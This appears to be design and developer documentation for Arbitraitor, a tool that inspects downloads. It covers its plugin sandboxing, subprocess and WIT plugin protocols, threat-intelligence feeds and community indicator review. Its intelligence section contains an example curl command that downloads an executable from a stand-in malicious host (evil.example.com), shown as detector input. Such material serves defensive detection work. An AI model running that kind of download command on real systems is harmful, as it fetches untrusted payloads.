Plugin runtime supporting Wasmtime Component Model and subprocess protocols.
Owns: Plugin lifecycle, capability enforcement, WASM sandboxing Must not: Native ABI loading, arbitrary dynamic library loading
arbitraitor-cli
Command-line interface.
Owns: Argument parsing, output formatting, user interaction Must not: Business logic (delegates to core)
arbitraitor-artifact
Content classification and magic byte detection.
Owns: Artifact type detection (ELF, PE, Mach-O, ZIP, tar, gzip, xz, bzip2, zstd), shell shebang parsing, content-type heuristics Must not: Policy evaluation, execution decisions
arbitraitor-av
Antivirus adapter trait and implementations.
Owns: ClamAV (clamd streaming), Microsoft Defender CLI adapter, signature-freshness snapshots (§18.3), macOS stable-facility helpers (xattr, mdfind per §41.13)
Must not: Policy decisions, trust verdicts
arbitraitor-package-manager
Registry adapter trait and per-tool implementations.
Experimental: This crate is under active development. Adapters provide recipe definitions and lockfile parsing, but full lifecycle enforcement (registry proxy, post-install scan, build sandbox) is not yet wired through the CLI. Per spec §39.14, per-tool adapters should eventually move to first-party plugins. The crate is included for foundational types only.
Owns: RegistryAdapter trait, cargo/uv/npm/pnpm/yarn/bun adapters, lockfile parsing, build script analysis, lifecycle policy enforcement
Must not: Direct execution, policy override
arbitraitor-wrapper
curl/wget wrapper translators and per-shell initialization.
Shell support: 10 shells — bash, zsh, sh, fish, nushell, xonsh, powershell, elvish, posix, tcsh. Use
arbitraitor wrappers init --detect-shellto auto-detect.
Owns: Wrapper argument translation, shell init script generation (10 shells), rcfile installation with idempotent markers and injection-hardened path validation Must not: Policy evaluation, execution
arbitraitor-update
Signed update manifest verification.
Owns: Minisign verification, update manifest parsing, manifest validation, target verification Must not: Network retrieval, policy decisions
arbitraitor-testkit
Test infrastructure for integration testing.
Owns: Mock HTTP server, SSRF test helpers, TLS test helpers, raw TCP server (truncation/malformed response), HTTPS test fixtures Must not: Production code paths
Dependency graph (simplified)
arbitraitor-cli
├── arbitraitor-core
│ ├── arbitraitor-model
│ ├── arbitraitor-fetch
│ ├── arbitraitor-store
│ ├── arbitraitor-analysis
│ │ ├── arbitraitor-shell
│ │ ├── arbitraitor-archive
│ │ ├── arbitraitor-yarax
│ │ ├── arbitraitor-powershell
│ │ └── arbitraitor-plugin-host
│ ├── arbitraitor-policy
│ ├── arbitraitor-provenance
│ ├── arbitraitor-intel
│ ├── arbitraitor-exec
│ ├── arbitraitor-sandbox
│ ├── arbitraitor-receipt
│ └── arbitraitor-daemon
├── arbitraitor-artifact
├── arbitraitor-mcp
├── arbitraitor-wrapper
├── arbitraitor-package-manager
├── arbitraitor-update
└── arbitraitor-testkit (dev-dep)
Public API vs internal
Public (re-exported through arbitraitor prelude)
Arbitraitor::new(),.inspect(),.run(),.approve(),.execute()Finding,Verdict,Receipt,ArtifactId,Sha256DigestPolicy,PolicyEngineConfig,ConfigBuilder
Internal (not exported)
- All detector implementations (except through trait objects)
- Store implementation details
- Fetch connector internals
- Plugin host internals
- Sandbox implementation details
Boundary rules
- No detector calls release/execution directly. Detectors produce
Findingstructs. The core state machine produces verdicts and orchestrates release. - No crate re-fetches after approval. Single retrieval is a security invariant.
- redb is a non-authoritative cache. CAS digest + receipts are authoritative for identity.
- No
reqwesttypes across boundaries. All HTTP goes through theFetchertrait. - Newtypes for all semantic primitives.
Sha256Digest, notString;ArtifactId, notString.
Adding a new crate
When adding a new crate:
- Add to
workspace.membersinCargo.toml - Define strict ownership in the crate README
- Add boundary assertions in the parent crate’s tests
- Document any new public API in the module docstring
- Add an ADR if the crate represents an architectural decision
Plugins Overview
Arbitraitor supports a plugin system for extending detection, intelligence, and execution capabilities. Plugins are isolated from the core using either the Wasmtime Component Model or a subprocess protocol.
Plugin types
| Type | Role | Examples |
|---|---|---|
| Detector | Analyzes artifacts, returns findings | YARA-X rules, custom AV, language analyzers |
| Intelligence | Provides threat indicators | URLhaus adapter, community feed, custom TI |
| Provenance | Verifies signatures and attestations | minisign, cosign, custom PKI |
| Wrapper | Translates download tool arguments | curl, wget, fetch |
Each plugin type has a specific WIT world (interface contract) that limits what capabilities it can access.
Trust tiers
Plugins are classified by trust level:
| Tier | Description | Enforcement |
|---|---|---|
| Built-in | Ships with Arbitraitor | Always loaded in enforcement mode |
| First-party | Developed by ArbSec team | Always loaded, code reviewed |
| Community | Submitted by users | Disabled by default in enforcement mode |
See ADR 0011 for the full trust classification model.
Plugin manifest
Every plugin has a manifest.toml:
[plugin]
id = "my-detector"
name = "My Custom Detector"
version = "1.0.0"
type = "detector" # detector | intelligence | provenance | wrapper
# WIT world this plugin implements
world = "arbitraitor:plugin/detector"
# Trust tier
trust_class = "community" # builtin | first_party | community
# Plugin binary
[plugin.runtime]
type = "wasmtime" # wasmtime | subprocess
path = "./my-detector.wasm"
# Or for subprocess:
[plugin.runtime]
type = "subprocess"
path = "/usr/local/bin/my-detector"
expected_digest = "sha256:abc123..."
# Capabilities requested by this plugin
[plugin.capabilities]
# For WASM: declared in WIT, enforced by runtime
# For subprocess: explicit allowlist
allow_network = false
allow_filesystem_read = ["/tmp/arbitraitor"]
allow_environment = []
Plugin lifecycle
discover -> load -> init -> call -> shutdown
Discover
Plugins are discovered from configured search directories:
- Read
~/.arbitraitor/plugins/*/manifest.toml - Validate manifest schema
- Check trust class against policy
- Add to available plugin registry
Load
The plugin host loads the runtime instance:
- Wasmtime: Initialize Wasmtime engine with resource limits
- Subprocess: Spawn process with clean environment, closed descriptors
Init
The plugin receives initialization data:
#![allow(unused)]
fn main() {
// For WASM plugins
init {
config: PluginConfig,
workspace: WorkspaceCapabilities,
}
// For subprocess plugins
{"type": "init", "config": {...}}
}
The plugin validates the config and returns capabilities it will use.
Call
The core calls the plugin with input data:
#![allow(unused)]
fn main() {
// For detector plugins
fn analyze(&self, artifact: ArtifactHandle) -> Vec<Finding>;
// For intelligence plugins
fn lookup(&self, indicator: Indicator) -> Vec<IndicatorMatch>;
}
Shutdown
When the pipeline completes or a timeout is reached, the plugin is dropped:
- WASM: Guest memory is freed, resource limits are enforced
- Subprocess: Process is terminated with SIGTERM, then SIGKILL if needed
Capability enforcement
Plugins declare capabilities in their WIT interface and cannot exceed them at runtime.
Wasmtime sandbox defaults
| Control | Default |
|---|---|
| Network | None |
| Filesystem | None |
| Environment | None |
| Clock | Deterministic or host-provided only |
| Memory | Bounded (128 MB default) |
| Execution fuel | Bounded (1B instructions default) |
| Host calls | Bounded by count and deadline |
Component Model execution (ADR-0006, spec §41.9.1)
WasmPlugin loads a .wasm Component Model binary, instantiates it inside the
sandboxed Wasmtime engine, and calls the analyze export. Host bindings are
generated at compile time via wasmtime::component::bindgen! from the workspace
WIT file (wit/arbitraitor-plugin.wit), selecting the detector world.
The three host imports (get-artifact-bytes, get-artifact-size, log) are
implemented on DetectorStore, which enforces the ADR-0006 wall-clock deadline
on every host call. Fuel and epoch interruption bound guest execution; traps,
OOM, and fuel exhaustion return WasmPluginError::Trap — the sandbox boundaries
hold and the host continues safely.
The DetectorPlugin::analyze trait impl calls analyze_artifact internally
and returns empty findings on error (fail-safe per conventions). Callers that
need typed errors should use analyze_artifact directly with a cached
WasmEngine reference.
Subprocess controls
| Control | Enforcement |
|---|---|
| Executable path | Allowlisted, digest-pinned |
| Arguments | Structured (no raw shell strings) |
| Environment | Clean, explicit allowlist |
| Descriptors | Closed inherited |
| Process group | Isolated (Job Object on Windows) |
| Timeout | Enforced with kill-tree |
| Output size | Limited |
| Memory | Limited via cgroup/resource limits |
Writing a detector plugin
See WIT Interfaces for the detector world definition and Subprocess Protocol for the JSON protocol format.
Plugin security
- Plugins cannot access the filesystem unless explicitly granted
- Plugins cannot make network calls unless explicitly granted
- WASM plugins are memory-isolated from the host process
- Subprocess plugins are killed if they exceed resource limits
- No plugin can bypass the approval flow
Wasmtime CVE risk register
The Wasmtime runtime is tracked against known CVEs in
ADR 0037. The risk register
catalogs all advisories from the Bytecode Alliance GitHub Security Advisories
and the RustSec database, and records whether the pinned version is affected.
The cargo-deny advisories check in CI automatically fails if a new
advisory affects the pinned wasmtime version.
Subprocess Protocol
Some plugins run as native subprocesses rather than Wasm components. This is used for integrations that require platform-specific binaries (e.g., antivirus scanners, package managers) that cannot be compiled to WASM.
Protocol design
Communication uses length-prefixed JSON frames over stdin/stdout:
┌─ frame 1: request ────────────────────────────────────┐
│ {"jsonrpc": "2.0", "id": 1, "method": "analyze", ...} │
└────────────────────────────────────────────────────────┘
┌─ frame 2: response ───────────────────────────────────┐
│ {"jsonrpc": "2.0", "id": 1, "result": {...}} │
└────────────────────────────────────────────────────────┘
Each frame is preceded by an 8-byte big-endian length header:
[0x00 0x00 0x00 0x00 0x00 0x00 0x01 0x2B] # 299 bytes follows
Message types
init
Sent once after process spawn to configure the plugin.
Request:
{
"jsonrpc": "2.0",
"id": 1,
"method": "init",
"params": {
"config": {
"rule_paths": ["/etc/arbitraitor/rules"],
"timeout_ms": 5000
},
"capabilities": {
"allow_network": false,
"allow_filesystem_read": ["/tmp"],
"allow_environment": []
}
}
}
Response:
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"version": "1.0.0",
"ready": true,
"max_concurrent_calls": 4
}
}
analyze
Analyze an artifact.
Request:
{
"jsonrpc": "2.0",
"id": 2,
"method": "analyze",
"params": {
"artifact": {
"digest": "sha256:abc123...",
"path": "/tmp/arbitraitor/artifact-xyz",
"content_type": "application/x-shellscript"
},
"options": {
"depth": 0,
"parent_digest": null
}
}
}
Response:
{
"jsonrpc": "2.0",
"id": 2,
"result": {
"findings": [
{
"id": "custom:malicious-pattern",
"severity": "high",
"title": "Matched malicious pattern",
"description": "Found known bad pattern at offset 0x1a2b",
"locations": [
{"path": "/tmp/artifact", "offset": 6699, "line": 42}
]
}
],
"metadata": {
"rules_loaded": 1847,
"analysis_time_ms": 23
}
}
}
lookup
Look up an indicator in intelligence feeds.
Request:
{
"jsonrpc": "2.0",
"id": 3,
"method": "lookup",
"params": {
"indicator": {
"type": "url",
"value": "https://evil.example.com/malware.exe"
}
}
}
Response:
{
"jsonrpc": "2.0",
"id": 3,
"result": {
"matches": [
{
"indicator_type": "url",
"indicator_value": "https://evil.example.com/malware.exe",
"source": "urlhaus",
"confidence": "high",
"last_seen": "2026-06-20T12:00:00Z",
"tags": ["malware", "payload"]
}
]
}
}
shutdown
Clean plugin shutdown.
Request:
{
"jsonrpc": "2.0",
"id": 4,
"method": "shutdown",
"params": {}
}
Response:
{
"jsonrpc": "2.0",
"id": 4,
"result": {
"ok": true
}
}
Error responses
{
"jsonrpc": "2.0",
"id": 2,
"error": {
"code": -32603,
"message": "Analysis timed out",
"data": {
"stage": "pattern_matching",
"elapsed_ms": 5000
}
}
}
Error codes:
| Code | Meaning |
|---|---|
| -32700 | Parse error (malformed JSON) |
| -32600 | Invalid request (wrong method or params) |
| -32603 | Internal error (plugin crashed or timed out) |
| -32000 | Artifact not found |
| -32001 | Unsupported content type |
Writing a subprocess plugin
1. Create the manifest
[plugin]
id = "my-av"
name = "My Antivirus"
version = "1.0.0"
type = "detector"
[plugin.runtime]
type = "subprocess"
path = "/usr/local/bin/my-av-scanner"
expected_digest = "sha256:abc123..."
[plugin.capabilities]
allow_network = false
allow_filesystem_read = ["/var/lib/my-av"]
allow_environment = []
2. Implement the protocol
use std::io::{self, Read, Write};
fn main() {
let mut stdin = io::stdin().lock();
let mut stdout = io::stdout().lock();
loop {
// Read frame header (8 bytes)
let mut header = [0u8; 8];
stdin.read_exact(&mut header).unwrap();
let len = u64::from_be_bytes(header) as usize;
// Read frame body
let mut body = vec![0u8; len];
stdin.read_exact(&mut body).unwrap();
// Parse JSON-RPC request
let request: serde_json::Value = serde_json::from_slice(&body).unwrap();
let id = request["id"].as_i64().unwrap();
let method = request["method"].as_str().unwrap();
// Handle request
let response = match method {
"init" => handle_init(&request["params"]),
"analyze" => handle_analyze(&request["params"]),
"lookup" => handle_lookup(&request["params"]),
"shutdown" => break handle_shutdown(&request["params"]),
_ => error_response(id, -32600, "Unknown method"),
};
// Write response frame
let json = serde_json::to_vec(&response).unwrap();
let header = (json.len() as u64).to_be_bytes();
stdout.write_all(&header).unwrap();
stdout.write_all(&json).unwrap();
stdout.flush().unwrap();
}
}
3. Security considerations
- Never echo untrusted input back to stdout
- Always honor resource limits
- Use structured output, never shell interpolation
- Validate all input before processing
WIT Interfaces
Arbitraitor uses the WebAssembly Component Model (WASI Preview 2) for plugin isolation. Plugins are compiled to WASM components and communicate through WIT-defined interfaces.
WIT overview
WIT (WebAssembly Interface Types) defines the types and functions a component can import and export. Each Arbitraitor plugin world has its own WIT package.
Plugin worlds
Detector world
package arbitraitor:plugin/detector@1.0.0;
interface analyzer {
record artifact {
digest: string,
content-type: string,
}
record finding {
id: string,
severity: severity,
title: string,
description: string,
locations: list<location>,
}
enum severity {
low,
medium,
high,
critical,
}
record location {
path: string,
offset: u64,
line: u32,
}
analyze: func(artifact: artifact) -> list<finding>;
}
world detector {
export analyzer;
}
Intelligence world
package arbitraitor:plugin/intelligence@1.0.0;
interface lookup {
record indicator {
type: indicator-type,
value: string,
}
enum indicator-type {
url,
domain,
ip-address,
sha256,
email,
}
record match {
indicator: indicator,
source: string,
confidence: confidence,
last-seen: string,
tags: list<string>,
}
enum confidence {
low,
medium,
high,
}
lookup: func(indicator: indicator) -> list<match>;
}
world intelligence {
export lookup;
}
Provenance world
package arbitraitor:plugin/provenance@1.0.0;
interface verifier {
record artifact {
digest: string,
size: u64,
}
record attestation {
type: attestation-type,
signer: string,
timestamp: string,
data: list<u8>,
}
enum attestation-type {
minisign,
cosign,
tuf,
gpg,
}
verify: func(artifact: artifact) -> option<attestation>;
}
world provenance {
export verifier;
}
Wrapper world
package arbitraitor:plugin/wrapper@1.0.0;
interface translator {
record command {
tool: string,
args: list<string>,
env: list<tuple<string, string>>,
}
translate: func(command: command) -> result<command, string>;
}
world wrapper {
export translator;
}
Host functions
Plugins can call host functions provided by Arbitraitor:
package arbitraitor:plugin/host@1.0.0;
interface host {
// Read artifact bytes (opaque handle)
read-artifact: func(digest: string) -> list<u8>;
// Log a message
log: func(level: log-level, message: string);
// Get current time
wall-clock: func() -> tuple<u64, u32>; // seconds, nanoseconds
// Get deterministic time for the current operation
operation-time: func() -> tuple<u64, u32>;
enum log-level {
debug,
info,
warn,
error,
}
}
world host {
import host;
}
Compiling a Wasm component
1. Install tooling
cargo install cargo-component
wasmtime --version
2. Define WIT
Create wit/my-detector.wit:
package my-org:my-detector@1.0.0;
interface analyzer {
record artifact {
digest: string,
content-type: string,
}
record finding {
id: string,
severity: severity,
title: string,
description: string,
}
enum severity {
low,
medium,
high,
critical,
}
analyze: func(artifact: artifact) -> list<finding>;
}
world my-detector {
export analyzer;
}
3. Implement in Rust
# my-detector/Cargo.toml
[package]
name = "my-detector"
version = "1.0.0"
edition = "2021"
[lib]
crate-type = ["cdylib"]
[dependencies]
wit-bindgen = "0.28"
serde = { version = "1.0", features = ["derive"] }
[profile.release]
opt-level = "s"
lto = true
#![allow(unused)]
fn main() {
// src/lib.rs
use wit_bindgen::generate;
generate!({
world: "my-detector",
exports: {
"my-org:my-detector/analyzer": Analyzer,
}
});
struct Analyzer;
impl exports::analyzer::Analyzer for Analyzer {
fn analyze(artifact: exports::analyzer::Artifact) -> Vec<exports::analyzer::Finding> {
// Read artifact bytes via host
let bytes = host::host::read_artifact(&artifact.digest);
// Analyze content
let mut findings = Vec::new();
if contains_malicious_pattern(&bytes) {
findings.push(exports::analyzer::Finding {
id: "my-detector:bad-pattern".to_string(),
severity: exports::analyzer::Severity::High,
title: "Malicious pattern detected".to_string(),
description: "Found known bad pattern".to_string(),
});
}
findings
}
}
}
4. Build
cargo component build --release
# Output: target/wasm32-wasip2/release/my_detector.wasm
Host function reference
read-artifact
Reads artifact bytes from CAS by digest. The plugin receives the content it was approved to analyze.
#![allow(unused)]
fn main() {
fn read-artifact(digest: &str) -> Vec<u8>
}
log
Logs a message at the specified level.
#![allow(unused)]
fn main() {
fn log(level: LogLevel, message: &str)
}
wall-clock
Returns the current wall clock time.
#![allow(unused)]
fn main() {
fn wall-clock() -> (u64, u32) // (seconds since epoch, nanoseconds)
}
operation-time
Returns a deterministic time for the current operation. This is monotonically increasing within a single pipeline run, allowing plugins to implement time-based logic without breaking determinism.
#![allow(unused)]
fn main() {
fn operation-time() -> (u64, u32) // (seconds, nanoseconds)
}
Resource limits
The host enforces resource limits on all plugins:
| Resource | Default limit |
|---|---|
| Memory | 128 MB |
| Execution fuel | 1 billion instructions |
| Call deadline | 5 seconds |
| Host calls per invocation | 100 |
| Output size | 1 MB |
Plugin Registry
The plugin registry manages discovery, loading, and lifecycle of all Arbitraitor plugins.
Directory structure
Arbitraitor searches for plugins in these directories (in order):
- Built-in plugins (compiled into the binary)
~/.arbitraitor/plugins/(user-local)./plugins/(project-local)
Each plugin lives in its own subdirectory:
~/.arbitraitor/plugins/
├── my-detector/
│ ├── manifest.toml
│ └── my-detector.wasm
├── urlhaus/
│ ├── manifest.toml
│ └── urlhaus.wasm
└── my-wrapper/
├── manifest.toml
└── my-wrapper
Manifest format
[plugin]
id = "my-detector"
name = "My Custom Detector"
version = "1.0.0"
description = "Detects custom threat patterns"
authors = ["Your Name <you@example.com>"]
# Plugin type
type = "detector" # detector | intelligence | provenance | wrapper
# WIT world
world = "arbitraitor:plugin/detector"
# Trust classification
trust-class = "community" # builtin | first_party | community
[plugin.runtime]
type = "wasmtime" # wasmtime | subprocess
path = "my-detector.wasm"
# For subprocess plugins:
# type = "subprocess"
# path = "/usr/local/bin/my-detector"
# expected-digest = "sha256:abc123..."
[plugin.capabilities]
# Network access (none allowed by default)
allow-network = false
# Filesystem read paths
allow-filesystem-read = []
# Environment variables
allow-environment = []
# For WASM plugins, capabilities are declared in WIT
# For subprocess plugins, they are enforced via manifest
[plugin.limits]
max-memory = "128MB"
max-call-time-ms = 5000
max-fuel = 1_000_000_000
[plugin.policy]
# Auto-load in enforcement mode
enforcement-load = false # community plugins default to false
Discovery process
1. Scan plugin directories
2. Parse each manifest.toml
3. Validate against schema
4. Check trust class against active policy
5. Register if policy allows
6. Load runtime on first use
Discovery runs at Arbitraitor startup and when --reload-plugins is passed.
Trust class enforcement
The policy controls which trust classes can load:
[policy.plugins]
# Allow all built-in and first-party plugins
allow-builtin = true
allow-first-party = true
# Community plugins require explicit enable
allow-community = false
To run a community plugin:
[policy.plugins.community]
my-detector = { enabled = true }
Plugin states
A plugin can be in one of these states:
| State | Meaning |
|---|---|
| Discovered | Found in directory, manifest valid |
| Registered | Passed trust check, in plugin registry |
| Loaded | Runtime instance created |
| Initialized | Received init call, ready to process |
| Running | Processing a request |
| Failed | Error during load, init, or call |
| Unloaded | Dropped due to idle or shutdown |
Loading and initialization
Plugins are loaded lazily on first use:
PluginRegistry::get("my-detector")
-> check trust class
-> check not already loaded
-> load runtime (Wasmtime or subprocess)
-> send init message
-> return plugin handle
The plugin receives its configuration and declared capabilities. It returns its version and concurrency limits.
Subprocess plugin restrictions
Subprocess plugins run as isolated processes with:
- Executable path: Must be in the allowlist and digest-pinned
- Arguments: No shell interpolation, structured JSON only
- Environment: Clean environment, no inherited variables
- File descriptors: Closed except for stdin/stdout
- Process group: Isolated (Job Object on Windows)
- Resource limits: Memory, CPU, time enforced via cgroup/ulimit
Plugin API versioning
WIT packages are versioned semantically. The plugin host tracks compatibility:
| Host version | Plugin world version | Compatible |
|---|---|---|
| 1.0.0 | 1.0.0 | Yes |
| 1.0.0 | 1.1.0 | Yes (minor backward compat) |
| 1.0.0 | 2.0.0 | No (major bump) |
| 1.0.0 | 0.9.0 | No (preview) |
The manifest.toml declares which world version the plugin implements.
Intelligence Overview
Arbitraitor’s intelligence system matches artifacts and indicators against threat intelligence feeds to improve detection accuracy.
How intelligence works
Artifact or indicator
│
▼
┌──────────────────┐
│ Intelligence │
│ Pipeline │
│ │
│ 1. Extract │
│ indicators │
│ (URLs, IPs, │
│ hashes, etc.) │
│ │
│ 2. Query feeds │
│ in parallel │
│ │
│ 3. Aggregate │
│ matches │
│ │
│ 4. Apply to │
│ findings │
└──────────────────┘
│
▼
Findings with
TI enrichment
Supported indicator types
| Type | Description |
|---|---|
| URL | Full URL with path |
| Domain | Domain name (exact or substring) |
| IP Address | IPv4 or IPv6 address |
| SHA-256 | File digest |
| Email address |
Feed types
Built-in feeds
| Feed | Type | Description |
|---|---|---|
| URLhaus | Malware URL | Abuse.ch malware URL database |
| Community | Indicators | ArbSec community submissions |
Custom feeds
Arbitraitor supports any feed that exposes a JSON or CSV API:
[intel.feeds.my-feed]
enabled = true
url = "https://feeds.example.com/indicators.json"
type = "json" # json | csv
api-key = "secret://env/MY_FEED_API_KEY"
refresh-interval = "1h"
cache-ttl = "24h"
[intel.feeds.my-feed.format]
indicator-field = "indicator"
type-field = "type"
tags-field = "tags"
confidence-field = "confidence"
Matching engine
The matching engine processes indicators in stages:
Stage 1: Extraction
Extracts indicators from the artifact:
- URLs from shell scripts, HTML, JavaScript
- Domain names from URLs
- IP addresses from network-related content
- File hashes from referenced files (if accessible)
Stage 2: Feed queries
Each extracted indicator is queried against enabled feeds in parallel:
#![allow(unused)]
fn main() {
let results = feed_lookup(indicator).await;
// Returns Vec<IndicatorMatch>
}
Stage 3: Aggregation
Matches from multiple feeds are aggregated:
- Deduplicated by indicator + source
- Confidence scores normalized
- Tags merged
Stage 4: Finding enrichment
Enriched indicators are added to findings:
{
"id": "network:curl",
"severity": "high",
"title": "Downloads content via curl",
"intel": [
{
"indicator": "https://evil.example.com/payload.exe",
"source": "urlhaus",
"confidence": "high",
"tags": ["malware", "payload"]
}
]
}
Indicator matching
URL matching
URLs match if:
- Exact match:
https://evil.example.com/malware.exe - Domain match: any path under
evil.example.com - Pattern match: configurable wildcard patterns
Hash matching
SHA-256 hashes match exactly:
- Artifact digest matches a known malware hash
- Referenced file digests match known malware
Confidence levels
| Level | Meaning |
|---|---|
| Low | Single source, unverified |
| Medium | Multiple sources or recent report |
| High | Active campaign, multiple reports |
High-confidence intelligence matches can escalate findings even if the static analysis alone would not.
Feed freshness
Feeds are refreshed on a configured interval:
[intel.feeds.urlhaus]
refresh-interval = "1h" # Check for updates every hour
cache-ttl = "24h" # Stale after 24 hours
If a feed is stale (last refresh > TTL), its matches are downgraded:
High confidence -> Medium
Medium confidence -> Low
Low confidence -> Ignored
Configuring intelligence
See Configuration for the full [intel] section reference.
Feeds
Arbitraitor integrates with threat intelligence feeds to enrich detection findings.
URLhaus
URLhaus is an Abuse.ch project that tracks malware distribution URLs.
Configuration
[intel.feeds.urlhaus]
enabled = true
url = "https://urlhaus.abuse.ch/downloads/json/"
# api-key is optional for public access
# api-key = "secret://env/URLHAUS_API_KEY"
refresh-interval = "1h"
cache-ttl = "24h"
Feed format
URLhaus provides JSON in this format:
[
{
"id": "12345",
"urlhaus_status": "online",
"url": "https://evil.example.com/malware.exe",
"url_status": "online",
"threat": "malware_download",
"tags": ["trojan", "payload"],
"payload_status": "online",
"firstseen": "2026-06-01 12:00:00 UTC",
"lastseen": "2026-06-20 08:00:00 UTC",
"sophos_threat": "Trojan.Generic"
}
]
Indicator mapping
| URLhaus field | Arbitraitor field |
|---|---|
url | indicator.value |
threat | tags[] |
sophos_threat | tags[] |
firstseen | metadata |
lastseen | last-seen |
urlhaus_status == “offline” | Ignored |
Confidence scoring
URLhaus matches are scored by recency:
| Last seen | Confidence |
|---|---|
| < 24 hours | High |
| < 7 days | Medium |
| >= 7 days | Low |
| Unknown | Low |
Using URLhaus with shell analysis
When the shell detector finds a curl or wget command, it automatically queries URLhaus for the download URL:
curl -fsSL https://evil.example.com/malware.exe
If the URL is in URLhaus:
Findings:
network:curl high Downloads content via curl
├─ Intel: URLhaus high Known malware download URL
│ └─ https://evil.example.com/malware.exe
└─ Malware type: Trojan.Generic
Freshness requirements
URLhaus is expected to be current within 1 hour. The feed is refreshed automatically and cached locally.
Offline behavior
If URLhaus cannot be reached during a pipeline run:
- Fresh cache available: Use cached data, log warning
- No cache: Skip URLhaus lookup, proceed without intelligence enrichment
- Intelligence lookup failure never blocks inspection
OpenSSF malicious packages
OpenSSF malicious-packages publishes malicious package reports as OSV
advisories with MAL-YYYY-NNNN identifiers. Arbitraitor ingests these as
osv-mal indicators from OSV.dev querybatch responses or signed mirrors.
Update command
arbitraitor intel update --ossf-malicious-packages
Use --ossf-malicious-packages-url to point at a pre-fetched signed mirror or
test fixture. Network access is explicit; package inspection does not perform
implicit live OSV lookups.
Indicator mapping
| OSV field | Arbitraitor field |
|---|---|
id beginning with MAL- | indicator.value with indicator_type = "osv-mal" |
modified / published | source_update_time, first_seen |
affected[].package | evidence package label |
summary / details / aliases | evidence notes |
Freshness requirements
OpenSSF malicious-package snapshots are Tier-1 current when mirrored from OSV data updated within 24 hours. Policies that require current package-malware intelligence fail closed when the signed snapshot is stale or unavailable.
Community Feed
The ArbSec community feed aggregates indicators submitted by users and reviewed by the security team.
Configuration
[intel.feeds.community]
enabled = true
url = "https://api.arbitraitor.org/community/indicators"
api-key = "secret://env/COMMUNITY_API_KEY"
refresh-interval = "6h"
cache-ttl = "24h"
Submission process
- User submits indicator via CLI or API
- Automated checks (duplicates, formatting)
- Manual review by ArbSec security team
- Approved indicators published to feed
See Community Submissions for the full submission workflow.
Indicator trust
Community indicators are tagged by review status:
| Tag | Meaning |
|---|---|
reviewed | Manually reviewed by security team |
automated | Added by automated pipeline |
source:user | Submitted by verified user |
The confidence score reflects the review depth.
Community Submissions
The community intelligence system allows Arbitraitor users to contribute and benefit from shared threat intelligence.
How it works
User discovers indicator
│
▼
┌──────────────────┐
│ Submission API │
│ │
│ 1. Validate │
│ indicator │
│ │
│ 2. Check for │
│ duplicates │
│ │
│ 3. Score │
│ automatically │
│ │
│ 4. Queue for │
│ review │
└──────────────────┘
│
▼
┌──────────────────┐
│ Security Review │
│ │
│ Manual review │
│ by ArbSec team │
│ │
│ Approve / Reject │
│ with reason │
└──────────────────┘
│
▼
┌──────────────────┐
│ Transparency Log │
│ │
│ Append-only log │
│ of all decisions │
│ │
│ Public audit │
└──────────────────┘
│
▼
Published to feed
Submission criteria
Valid submissions include:
- Malware distribution URLs found in scripts or packages
- Typosquatting domains that impersonate legitimate software
- Compromised package registries with malicious packages
- Known malicious hash prefixes for large malware families
- Phishing kits detected in wild
Invalid submissions (rejected):
- Private personal data
- Heuristic-only findings without confirmation
- Indicators from internal Red Team assessments (not shared externally)
- Duplicate submissions
Trust tiers
Submitters are classified by trust tier:
| Tier | Description | Score modifier |
|---|---|---|
| Verified | Identity-verified submitters | +1 confidence |
| Trusted | Long-standing community members | +0 |
| New | New accounts | -1 confidence |
| Anonymous | No account | Not accepted |
Review workflow
Step 1: Automated checks
#![allow(unused)]
fn main() {
// Automated validation
if is_duplicate(indicator) { return Reject("duplicate") }
if !is_valid_format(indicator) { return Reject("invalid_format") }
if contains_pii(indicator) { return Reject("pii_found") }
if !passes_heuristics(indicator) { return Flag("needs_review") }
}
Step 2: Triage
Indicators are triaged based on:
- Source tier (verified, trusted, new)
- Severity (critical, high, medium)
- Confidence (high, medium, low)
- Tags overlap with existing indicators
High-confidence critical indicators from verified sources can be fast-tracked.
Step 3: Review
A reviewer examines:
- Source of the indicator (how was it discovered?)
- Supporting evidence (sample, VT report, blog post)
- Context (targeted campaign, opportunistic)
Step 4: Decision
| Decision | Meaning |
|---|---|
| Approve | Indicator published to feed |
| Reject | Indicator not published, submitter notified |
| Escalate | Forward to appropriate party (e.g., CERT) |
| Needs more info | Reviewer requests additional context |
Transparency log
All decisions are recorded in an append-only transparency log:
{
"log_version": "1.0",
"entries": [
{
"index": 12345,
"timestamp": "2026-06-23T12:00:00Z",
"action": "approve",
"indicator": {
"type": "url",
"value": "https://evil.example.com/malware.exe"
},
"submitter": "user:abc123",
"reviewer": "arbsec:reviewer:xyz",
"reason": "Confirmed malware via sandbox execution",
"evidence": ["https://example.com/vt-report"]
},
{
"index": 12346,
"timestamp": "2026-06-23T13:00:00Z",
"action": "reject",
"indicator": {
"type": "domain",
"value": "legitimate-software.com"
},
"submitter": "user:def456",
"reviewer": "arbsec:reviewer:xyz",
"reason": "Legitimate software domain, not typosquatting"
}
]
}
The log is publicly readable and can be audited to verify the integrity of decisions.
Dispute resolution
If a submitter believes an indicator was incorrectly rejected:
- File a dispute through the API with
dispute_reason - Original reviewer re-examines
- If upheld, escalate to senior reviewer
- Final decision recorded in transparency log
Disputes cannot overturn approval decisions by reviewers.
API reference
Submit indicator
POST /api/v1/indicators
Authorization: Bearer <token>
Content-Type: application/json
{
"indicator": {
"type": "url",
"value": "https://evil.example.com/malware.exe"
},
"source": "found-in-shellscript",
"evidence": [
{
"type": "url",
"value": "https://example.com/vt-report"
}
],
"tags": ["malware", "payload"]
}
Response
{
"id": "ind-abc123",
"status": "pending_review",
"estimated_review_time": "48h"
}
Architecture Decision Records
An ADR captures a decision that is architecturally significant, security-sensitive, or expensive to change later. Each ADR is immutable once accepted; a new ADR must supersede it.
States
- Proposed — draft, open for discussion
- Accepted — decision is final and binding
- Superseded — replaced by a later ADR (reference included)
- Rejected — considered but not adopted (reasons recorded)
Index
Foundational
| ADR | Title | Status | Issue |
|---|---|---|---|
| 0001 | Rust 2024 and toolchain policy | Accepted | — |
| 0002 | Workspace structure and crate boundaries | Accepted | — |
| 0003 | reqwest behind Fetcher trait | Accepted | — |
| 0004 | TOML for configuration and policy | Accepted | — |
| 0005 | redb as non-authoritative metadata index | Accepted | #12 |
| 0006 | Wasmtime Component Model for plugins | Accepted | — |
Security architecture (P0 from adversarial review)
| ADR | Title | Status | Issue |
|---|---|---|---|
| 0007 | Assurance levels model (inspect/mediated/contained) | Accepted | #2 |
| 0008 | Execution context security profile | Accepted | #3 |
| 0009 | Privilege separation and no-root invariant | Accepted | #4 |
